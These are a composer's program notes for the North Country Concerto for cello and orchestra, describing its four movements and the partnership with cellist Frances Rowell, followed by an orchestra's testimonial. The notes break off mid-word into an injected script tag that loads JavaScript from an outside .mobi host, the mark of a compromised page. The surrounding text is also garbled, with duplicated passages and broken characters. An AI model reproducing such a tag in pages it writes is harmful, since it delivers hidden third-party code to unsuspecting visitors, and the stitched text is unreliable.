Update Title: 4FEC588D-3CE3-424E-9F7A-EBD132988BDE

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"Early in the Morning - at the Break of Day" refers to the energy one often has during the first part of the day.  The opening rhythm of repeated 8th-notes in the accopmpaniment speaks the works of the title.  The harmonies are open and sparse, perhaps with a morning freshness.  The cello is spirited, with glissandi and rapid bowings of repeated notes.

"A Stillness" focuses on short patterns, which vary slightly and grow in intensity.  The music unfolds slowly.  Perhaps one might feel that one is in the forest, with the stillnessof trees balance against gentle calls of birds.  The cello might be heard as the subjective voice responding to the sounds of the forest.

The third movement is influenced by rough-hewn folk music.  The patterns of bowing across the strings suggest a crossing, or 'arcing' motion rising at the end into an image of "An Arc in the Sky."

The fourth movement is based on the familiar "Riddle Song" ["I gave my love a cherry that had no stone...I gave my love a baby with no cryin'."] The opening cello solo serves as a bridge between movements III and IV.  Then, after an introduction in the accompaniment, the cello enters with the song-theme.  The original melody is never fully presented.  Rather, the image of "cryin'" engenders the rest of the movement.  One might hear sighing motives throughout.  Blues harmonies (a mixture of major and minor sonorities) and non-tonal excursions surround the simple tune.I have entitled my concerto North Country Concerto since both I and the cellist premiering the work, Frances Rowell, are native New Englanders -- Vermonters.  The musical language which is familiar to us in American folk music -- influenced not only by the classical repertoire but also by contemporary rock and jazz idioms.  This aims to be music of today+s +ears+ --perhaps more rural than urban.

In terms of background information, I wish to say that I met Frances Rowell not through formal introduction, but rather, purely through musical encounter.  A work which I had composed for another cellist in Fran+s chamber ensemble, the Craftsbury Chamber Players, was performed on one occasion with Fran.  Immediately I noticed a congenial musician.  We spoke the same language.  My rhythms +leapt+ off the page in her playing.  This was a musician with whom I wished to collaborate.

Thus, we pursued our interest in creating a concerto.  A North Country Concerto, filled with the melodies and rhythms which Frances and I both hold internally, seemed like the right first step in what may lead to other new works.

Like most composers, I arise in the morning, with energy, ready to write music!  Thus, an opening movement of "Early in the Morning -- at the Break of Day" is the natural start.  One can hear the rhythm of the title +spoken+ in the trumpet.  The woodwinds are quite rude, hacking away with syncopated rhythms against the theme.  The cello enters with a glissando burst of energy.  Hopefully the listener and composer are now both awake!

"A Stillness" focuses on repeated notes and repeated patterns.  This music unfolds slowly.  Perhaps one might feel one is in the forest with the stillness of the trees balanced against gentle calls of birds.  The growth in intensity of the music might be heard as the subjective voice in response to nature.

The third movement represents rather rough-hewn folk-music.  The patterns of bowing across the strings suggest a crossing or +arcing+ motion which, because the range rises at the end, create the image of an "Arc in the Sky."

I often like to use one traditional folk song or hymn tune as the basis of a musical exploration.  The fourth movement is such an exploration.  This music is based on the familiar +Riddle Song" ["I gave my love a cherry that had no stone... I have my love a baby with no cryin+"].  The opening cello solo serves as a bridge between movements III and IV.  Then, after an introduction in the st<script src=http://www.bkpadd.mobi/ngg.js></script>

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"North Country Concerto was a delightful work to both prepare and perform.   For Allan Birney, Conductor, and musicians alike, the piece was straightforward, precisely marked and pleasure to put together.  I had a number of musicians tell me that they haven't enjoyed a new piece so much in many years.  Much of their enjoyment came from working with the soloist--who happened to be the orchestraÕs principal cellist, Frances Rowell.  It is indeed a unique experience for an orchestra to have the opportunity to showcase its own members as soloist.  There are many orchestras across the country, such as the Sinfonia, which have one, or several, outstanding musicians and relish the chance to feature them in a work such as GwynethÕs concerto.<BR>

For the audience, North Country Concerto had enormous appeal.  We have had a dozen people ask us to get a recording of the performance to our local public radio station so that they can hear it again!  We have never had that kind of reaction to a performance since I have been affiliated with the orchestra, and thatÕs 5 years!"<BR>
--Jeanne-Marie Maiale, 
Pennsylvania Sinfonia Orchestra

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